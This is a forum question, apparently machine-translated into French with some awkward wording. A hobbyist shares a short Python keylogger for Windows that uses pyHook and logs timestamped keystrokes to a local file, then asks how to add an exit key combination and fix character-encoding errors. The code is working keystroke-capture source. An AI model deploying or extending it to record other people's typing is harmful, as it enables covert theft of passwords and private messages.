J'écris mon propre enregistreur de frappe simple basé sur un script que j'ai trouvé en ligne. Cependant, j'essaye d'écrire une commande de clef de sorte que le programme de logger se fermera quand cette commande est tapée. Comment dois-je m'y prendre? (Je sais aussi que ce n'est pas sécurisé du tout, mais ce n'est pas un problème avec ce programme)Création d'une commande clé en Python
Par exemple Ctrl + 'exit' fermerait le programme.
Aussi parfois il ne sera pas imprimer correctement certains caractères dans le fichier .log qu'il crée, ce qui pourrait être à l'origine de cela? (Je pense que le caractère type encouding peut être causeing ce problème)
#Key Logger
#By: K.B. Carte
#Version 1.0
################
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Ceci est dans Windows 7, BTW.
Comment est-ce que je ferais la touche Ctrl puis tapez "quitter" "? – rectangletangle
en quoi ça consiste? http://www.daniweb.com/code/snippet216830.html – pyInTheSky